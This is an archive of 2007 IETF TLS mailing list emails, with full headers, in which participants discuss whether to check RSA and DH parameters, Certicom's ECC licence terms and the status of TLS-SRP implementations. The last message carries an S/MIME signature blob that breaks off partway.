5 Jun 2007 19:36:04 +1200 (NZST) Received: from medusa01.cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by iris.cs.auckland.ac.nz (Postfix) with ESMTP id 5E7DA1280A1; Tue, 5 Jun 2007 19:36:04 +1200 (NZST) Received: from pgut001 by medusa01.cs.auckland.ac.nz with local (Exim 3.36 #1 (Debian)) id 1HvTaM-0000Ny-00; Tue, 05 Jun 2007 19:36:10 +1200 From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: benl@google.com, Pasi.Eronen@nokia.com Subject: RE: [TLS] Issue 30: Reject RSA public exponent 1 In-Reply-To: Message-Id: Date: Tue, 05 Jun 2007 19:36:10 +1200 X-Spam-Score: 0.5 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org writes: >Perhaps the advice about this check could be combined with other advice: e.g. >the TLS implementation should (or even must) check that DH group parameters >are "good enough" (and reject attempts to use e.g. 256-bit groups, unless >this is really allowed by the local policy). A problem with this is that it's almost impossible to get any consensus as to what should and shouldn't be checked. I played with this a few years ago and showed it to a few crypto people and everyone had a different, generally incompatible, checklist of things that needed to be checked. In the end you either end up with a huge shopping-list of often questionably-useful checks (all of my checks are useful, everyone else's are superfluous and a waste of implementation effort), or a more concise list that represents only one person's idea of what's worth checking (all of my checks are useful, I'll ignore everyone else's suggestions because they're superfluous and a waste of implementation effort). Overall I think (based on an attempt at doing it) that this is such an incredible can of worms that you really, really don't want to open it. If anyone really wants to build a checklist, put up a web page or create a wiki and see how the market reacts first. Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 03:42:15 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvTgC-0008JA-VK; Tue, 05 Jun 2007 03:42:12 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvTgB-0008J2-Hu for tls@ietf.org; Tue, 05 Jun 2007 03:42:11 -0400 Received: from larry.its.auckland.ac.nz ([130.216.12.34] helo=mailhost.auckland.ac.nz) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvTgA-0001Jj-5Y for tls@ietf.org; Tue, 05 Jun 2007 03:42:11 -0400 Received: from localhost (localhost.localdomain [127.0.0.1]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 6CBF5182FC; Tue, 5 Jun 2007 19:42:04 +1200 (NZST) X-Virus-Scanned: by amavisd-new at mailhost.auckland.ac.nz Received: from mailhost.auckland.ac.nz ([127.0.0.1]) by localhost (larry.its.auckland.ac.nz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id fgmo6qnQiJRz; Tue, 5 Jun 2007 19:42:04 +1200 (NZST) Received: from iris.cs.auckland.ac.nz (iris.cs.auckland.ac.nz [130.216.33.152]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 53A24182D9; Tue, 5 Jun 2007 19:42:04 +1200 (NZST) Received: from medusa01.cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by iris.cs.auckland.ac.nz (Postfix) with ESMTP id A43F21280A1; Tue, 5 Jun 2007 19:42:03 +1200 (NZST) Received: from pgut001 by medusa01.cs.auckland.ac.nz with local (Exim 3.36 #1 (Debian)) id 1HvTg9-0000TT-00; Tue, 05 Jun 2007 19:42:09 +1200 From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: tjw@CS.Stanford.EDU, tls@ietf.org, ynir@checkpoint.com Subject: Re: [TLS] Straw poll on TLS SRP status In-Reply-To: Message-Id: Date: Tue, 05 Jun 2007 19:42:09 +1200 X-Spam-Score: 0.5 (/) X-Scan-Signature: 08170828343bcf1325e4a0fb4584481c Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Yoav Nir writes: >However, Martin is right, in that the incentive works. ECC has been slowed >down significantly by Certicom's patent claims, both in standards and in >implementations. This has finally made Certicom issue a royalty-free license >for use of ECC in IKE and TLS. Note however that the TLS license is booby-trapped: You can implement TLS, but you can't do certs with it. This makes the "royalty-free license" more or less useless. (I haven't looked at the IKE one, but I'm guessing it's the same thing there). Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 04:06:19 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvU3V-00059p-U4; Tue, 05 Jun 2007 04:06:17 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvU3T-00059j-Me for tls@ietf.org; Tue, 05 Jun 2007 04:06:15 -0400 Received: from michael.checkpoint.com ([194.29.32.68]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvU3S-00043z-5f for tls@ietf.org; Tue, 05 Jun 2007 04:06:15 -0400 Received: from [172.31.24.80] (localhost [127.0.0.1]) by michael.checkpoint.com (8.12.10+Sun/8.12.10) with ESMTP id l5585nFB020675; Tue, 5 Jun 2007 11:05:49 +0300 (IDT) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v752.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Yoav Nir Subject: Re: [TLS] Straw poll on TLS SRP status Date: Tue, 5 Jun 2007 11:05:47 +0300 To: Peter Gutmann X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Scan-Signature: e5ba305d0e64821bf3d8bc5d3bb07228 Cc: tjw@CS.Stanford.EDU, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org IIRC you can use certs, but the CA needs a license. In TLS it works pretty well, because usually a website gets a cert from someone on Explorer's list, so as long as they get a license, everyone is fine. With IKE it's a little more booby-trapped, because lots of organizations issue their own certificates. On Jun 5, 2007, at 10:42 AM, Peter Gutmann wrote: > Yoav Nir writes: > >> However, Martin is right, in that the incentive works. ECC has >> been slowed >> down significantly by Certicom's patent claims, both in standards >> and in >> implementations. This has finally made Certicom issue a royalty- >> free license >> for use of ECC in IKE and TLS. > > Note however that the TLS license is booby-trapped: You can > implement TLS, but > you can't do certs with it. This makes the "royalty-free license" > more or > less useless. > > (I haven't looked at the IKE one, but I'm guessing it's the same > thing there). > > Peter. > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 04:25:18 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvULi-0002QA-72; Tue, 05 Jun 2007 04:25:06 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvULh-0002Q5-BP for tls@ietf.org; Tue, 05 Jun 2007 04:25:05 -0400 Received: from larry.its.auckland.ac.nz ([130.216.12.34] helo=mailhost.auckland.ac.nz) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvULf-0006os-Um for tls@ietf.org; Tue, 05 Jun 2007 04:25:05 -0400 Received: from localhost (localhost.localdomain [127.0.0.1]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 9CD3618333; Tue, 5 Jun 2007 20:25:00 +1200 (NZST) X-Virus-Scanned: by amavisd-new at mailhost.auckland.ac.nz Received: from mailhost.auckland.ac.nz ([127.0.0.1]) by localhost (larry.its.auckland.ac.nz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Xn9X8qyScnYq; Tue, 5 Jun 2007 20:25:00 +1200 (NZST) Received: from iris.cs.auckland.ac.nz (iris.cs.auckland.ac.nz [130.216.33.152]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 835FF182E1; Tue, 5 Jun 2007 20:25:00 +1200 (NZST) Received: from medusa01.cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by iris.cs.auckland.ac.nz (Postfix) with ESMTP id 2C6CB514001; Tue, 5 Jun 2007 20:25:00 +1200 (NZST) Received: from pgut001 by medusa01.cs.auckland.ac.nz with local (Exim 3.36 #1 (Debian)) id 1HvULi-000181-00; Tue, 05 Jun 2007 20:25:06 +1200 From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: pgut001@cs.auckland.ac.nz, ynir@checkpoint.com Subject: Re: [TLS] Straw poll on TLS SRP status In-Reply-To: Message-Id: Date: Tue, 05 Jun 2007 20:25:06 +1200 X-Spam-Score: 0.5 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Cc: tjw@CS.Stanford.EDU, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Yoav Nir writes: >In TLS it works pretty well, because usually a website gets a cert from >someone on Explorer's list, so as long as they get a license, everyone is >fine. According to a SecuritySpace survey from a few years ago (discussed in Simson Garfinkel's thesis), 58% of all SSL server certs in use today are invalid for some reason (unknown CA, self-signed, expired, whatever). "Not issued by a recognised CA" covers about 30% of all SSL server certs. There aren't any figures available for opportunistic-encryption facilities like STARTTLS et al, but I'd imagine it's closer to 100% there since opportunistic encryption more or less by definition doesn't care about officially-sanctioned crypto. So "issued by a recognised CA" only starts to address a small corner of the market. In any case even if you do want to go with a recognised CA, how many recognised CAs will actually issue you an ECC cert? No matter how you look at it, the Certicom "license" doesn't work. Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 04:34:46 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvUV4-00065g-1x; Tue, 05 Jun 2007 04:34:46 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvUV3-00065Z-0C for tls@ietf.org; Tue, 05 Jun 2007 04:34:45 -0400 Received: from michael.checkpoint.com ([194.29.32.68]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvUUw-0008MH-Rv for tls@ietf.org; Tue, 05 Jun 2007 04:34:44 -0400 Received: from [172.31.24.80] (localhost [127.0.0.1]) by michael.checkpoint.com (8.12.10+Sun/8.12.10) with ESMTP id l558YNFB001555; Tue, 5 Jun 2007 11:34:31 +0300 (IDT) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v752.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <991F5FF9-FB79-4627-9DBD-7C3D1168F083@checkpoint.com> Content-Transfer-Encoding: 7bit From: Yoav Nir Subject: Re: [TLS] Straw poll on TLS SRP status Date: Tue, 5 Jun 2007 11:34:21 +0300 To: Peter Gutmann X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Cc: tjw@CS.Stanford.EDU, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org It works well enough that the browsers have it now (at least IE), and also IKE implementations from several vendors including Microsoft. When and if the likes of Verisign start issuing them remains to be seen, as well as when the rather ubiquitous Microsoft CA will begin to issue such certs. On Jun 5, 2007, at 11:25 AM, Peter Gutmann wrote: > Yoav Nir writes: > >> In TLS it works pretty well, because usually a website gets a cert >> from >> someone on Explorer's list, so as long as they get a license, >> everyone is >> fine. > > According to a SecuritySpace survey from a few years ago (discussed > in Simson > Garfinkel's thesis), 58% of all SSL server certs in use today are > invalid for > some reason (unknown CA, self-signed, expired, whatever). "Not > issued by a > recognised CA" covers about 30% of all SSL server certs. There > aren't any > figures available for opportunistic-encryption facilities like > STARTTLS et al, > but I'd imagine it's closer to 100% there since opportunistic > encryption more > or less by definition doesn't care about officially-sanctioned > crypto. So > "issued by a recognised CA" only starts to address a small corner > of the > market. > > In any case even if you do want to go with a recognised CA, how many > recognised CAs will actually issue you an ECC cert? No matter how > you look at > it, the Certicom "license" doesn't work. > > Peter. > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 04:48:03 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvUhr-00022i-Tr; Tue, 05 Jun 2007 04:47:59 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvUhq-00022U-KJ for tls@ietf.org; Tue, 05 Jun 2007 04:47:58 -0400 Received: from larry.its.auckland.ac.nz ([130.216.12.34] helo=mailhost.auckland.ac.nz) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvUhp-0002ao-7a for tls@ietf.org; Tue, 05 Jun 2007 04:47:58 -0400 Received: from localhost (localhost.localdomain [127.0.0.1]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 7697F18313; Tue, 5 Jun 2007 20:47:56 +1200 (NZST) X-Virus-Scanned: by amavisd-new at mailhost.auckland.ac.nz Received: from mailhost.auckland.ac.nz ([127.0.0.1]) by localhost (larry.its.auckland.ac.nz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6ODttgIWZYQN; Tue, 5 Jun 2007 20:47:56 +1200 (NZST) Received: from iris.cs.auckland.ac.nz (iris.cs.auckland.ac.nz [130.216.33.152]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 5DCDF182D9; Tue, 5 Jun 2007 20:47:56 +1200 (NZST) Received: from medusa01.cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by iris.cs.auckland.ac.nz (Postfix) with ESMTP id BAE4FD14CFA; Tue, 5 Jun 2007 20:47:55 +1200 (NZST) Received: from pgut001 by medusa01.cs.auckland.ac.nz with local (Exim 3.36 #1 (Debian)) id 1HvUhu-0001XL-00; Tue, 05 Jun 2007 20:48:02 +1200 From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: pgut001@cs.auckland.ac.nz, ynir@checkpoint.com Subject: Re: [TLS] Straw poll on TLS SRP status In-Reply-To: <991F5FF9-FB79-4627-9DBD-7C3D1168F083@checkpoint.com> Message-Id: Date: Tue, 05 Jun 2007 20:48:02 +1200 X-Spam-Score: 0.5 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Cc: tjw@CS.Stanford.EDU, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Yoav Nir writes: >It works well enough that the browsers have it now (at least IE), and also >IKE implementations from several vendors including Microsoft. It's irrelevant what the software has built in, if no-one's using it then it may as well not be there (that's just a paraphrasing of the prime directive of security UI, "If the user doesn't understand your feature, it doesn't exist"). Certicom issued their "royalty-free license" for ECC in TLS last year some time, and I still haven't seen any use of it by anyone outside the USG and its dependents as part of the Suite B mandate. Although I can't speak for vendors like Microsoft, I would imagine their only reason for putting it in IE was for that particular market (I've talked to non-MS developers and they've told me that's the sole reason why they added it to their product). (Again, I don't know about the IKE situation). Anyway, this is all going off on a bit of a tangent... Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 05:50:14 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvVg2-0005C4-JZ; Tue, 05 Jun 2007 05:50:10 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvVg1-0005Ap-2j for tls@ietf.org; Tue, 05 Jun 2007 05:50:09 -0400 Received: from ganymede.on-x.com ([194.51.68.3]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvVfz-0003bE-5x for tls@ietf.org; Tue, 05 Jun 2007 05:50:09 -0400 Received: from localhost (ganymede [127.0.0.1]) by ganymede.on-x.com (Postfix) with ESMTP id DFED71E; Tue, 5 Jun 2007 11:50:05 +0200 (CEST) Received: from ganymede.on-x.com ([127.0.0.1]) by localhost (ganymede.on-x.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 28264-03; Tue, 5 Jun 2007 11:50:03 +0200 (CEST) Received: from vinea.on-x.com (sedna.puteaux.on-x [192.168.10.9]) by ganymede.on-x.com (Postfix) with ESMTP id 4B81213; Tue, 5 Jun 2007 11:50:03 +0200 (CEST) Received: from [193.51.14.5] ([212.234.46.65]) by vinea.on-x.com (Lotus Domino Release 5.0.11) with ESMTP id 2007060511500203:283146 ; Tue, 5 Jun 2007 11:50:02 +0200 Message-ID: <46653134.5040507@edelweb.fr> Date: Tue, 05 Jun 2007 11:47:32 +0200 From: Peter Sylvester User-Agent: Thunderbird 1.5.0.9 (X11/20061206) MIME-Version: 1.0 To: Peter Gutmann Subject: Re: [TLS] Straw poll on TLS SRP status References: In-Reply-To: X-MIMETrack: Itemize by SMTP Server on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/05/2007 11:50:02 AM, Serialize by Router on vinea/ON-X(Release 5.0.11 |July 24, 2002) at 06/05/2007 11:50:02 AM, Serialize complete at 06/05/2007 11:50:02 AM X-Virus-Scanned: by amavisd-new at on-x.com X-Spam-Score: 0.0 (/) X-Scan-Signature: 1676547e4f33b5e63227e9c02bd359e3 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0883867634==" Errors-To: tls-bounces@lists.ietf.org This is a cryptographically signed message in MIME format. --===============0883867634== Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms050306070809050908000107" This is a cryptographically signed message in MIME format. --------------ms050306070809050908000107 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Peter Gutmann wrote: > < > I'll reply publicly in order to provide a rationale: Arguments against it > becoming a full standard are that this spec has been around for six years now > without any significant implementations appearing (apologies to the authors of > GnuTLS and TLS Lite :-). Sorry to disagree, since 3 years there exist also implementations for openssl and java, the java one is used in jboss as far as I understand the manuals. Whether people use it, who knows. I got tired to follow each openssl version and maintain the patch, I understand that the maintainers don't want to include the stuff before there is a stable status of the specification. And seeing that ciphersuites had been reserved by IANA but not the extension number, on 26.6.2006 I asked IANA This discussion is the first time in 4 years that some almost technical discussion takes place, at least. --------------ms050306070809050908000107 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 